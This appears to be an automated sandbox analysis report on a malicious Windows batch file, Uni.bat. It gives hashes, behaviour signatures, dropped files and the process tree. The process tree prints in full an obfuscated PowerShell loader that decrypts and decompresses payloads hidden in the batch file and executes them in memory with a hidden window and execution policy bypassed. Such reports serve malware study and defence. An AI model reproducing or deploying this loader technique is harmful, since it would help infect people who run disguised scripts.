Analysis

  • max time kernel
    118s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    19-07-2023 10:51

General

  • Target

    Uni.bat

  • Size

    12.6MB

  • MD5

    488a8bd72bd92554832ec260181e949b

  • SHA1

    459fa680872a35b9186f45d82d29e0d60564fc10

  • SHA256

    a5158b467cd4fcb6167f067dccc92bde8a850a486cdb4e29283bf755ab4566f5

  • SHA512

    2de3a9d623a833cdbf9e53c59473b1c0b0a051c4e85b5ffcdd905b0af8a68a038864fa4d9d5dc195fe2851bcd1433495b883b7069862791f1242a6a4df466447

  • SSDEEP

    49152:Lp2NpugSn0aCmtTHe6yNf0PlKAKLngb17yEo8bb8dSNMPOVnUvso+0L9zaTsGbxk:O

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:2408
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2552
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:2572
      • C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
        "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function oDKRN($UCbcn){ $EBBsx=[System.Security.Cryptography.Aes]::Create(); $EBBsx.Mode=[System.Security.Cryptography.CipherMode]::CBC; $EBBsx.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $EBBsx.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jU/PZ5sGVHXe9eukENZ+EwRCKiahiZSWvpUTt8Zb8+E='); $EBBsx.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ub/nVYqjjldEJpQEkssoQQ=='); $RKtfb=$EBBsx.CreateDecryptor(); $return_var=$RKtfb.TransformFinalBlock($UCbcn, 0, $UCbcn.Length); $RKtfb.Dispose(); $EBBsx.Dispose(); $return_var;}function FeGSU($UCbcn){ $REgbO=New-Object System.IO.MemoryStream(,$UCbcn); $lpRdy=New-Object System.IO.MemoryStream; $NYxVA=New-Object System.IO.Compression.GZipStream($REgbO, [IO.Compression.CompressionMode]::Decompress); $NYxVA.CopyTo($lpRdy); $NYxVA.Dispose(); $REgbO.Dispose(); $lpRdy.Dispose(); $lpRdy.ToArray();}function aYwhj($UCbcn,$qsjlD){ $CQLXX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$UCbcn); $ROSPE=$CQLXX.EntryPoint; $ROSPE.Invoke($null, $qsjlD);}$wetzf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($CnUAr in $wetzf) { if ($CnUAr.StartsWith('SEROXEN')) { $aMomv=$CnUAr.Substring(7); break; }}$dMqwU=[string[]]$aMomv.Split('\');$IoPPi=FeGSU (oDKRN ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($dMqwU[0])));$vOmrC=FeGSU (oDKRN ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($dMqwU[1])));aYwhj $vOmrC (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));aYwhj $IoPPi (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2776

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe

      Filesize

      462KB

      MD5

      852d67a27e454bd389fa7f02a8cbe23f

      SHA1

      5330fedad485e0e4c23b2abe1075a1f984fde9fc

      SHA256

      a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

      SHA512

      327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

    • \Users\Admin\AppData\Local\Temp\Uni.bat.exe

      Filesize

      462KB

      MD5

      852d67a27e454bd389fa7f02a8cbe23f

      SHA1

      5330fedad485e0e4c23b2abe1075a1f984fde9fc

      SHA256

      a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

      SHA512

      327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

    • memory/2776-61-0x000000001B1A0000-0x000000001B482000-memory.dmp

      Filesize

      2.9MB

    • memory/2776-62-0x0000000002380000-0x0000000002388000-memory.dmp

      Filesize

      32KB

    • memory/2776-67-0x00000000024B0000-0x0000000002530000-memory.dmp

      Filesize

      512KB

    • memory/2776-66-0x00000000024B0000-0x0000000002530000-memory.dmp

      Filesize

      512KB

    • memory/2776-65-0x00000000024B0000-0x0000000002530000-memory.dmp

      Filesize

      512KB

    • memory/2776-64-0x00000000024B0000-0x0000000002530000-memory.dmp

      Filesize

      512KB

    • memory/2776-63-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

      Filesize

      9.6MB

    • memory/2776-68-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

      Filesize

      9.6MB

    • memory/2776-69-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

      Filesize

      9.6MB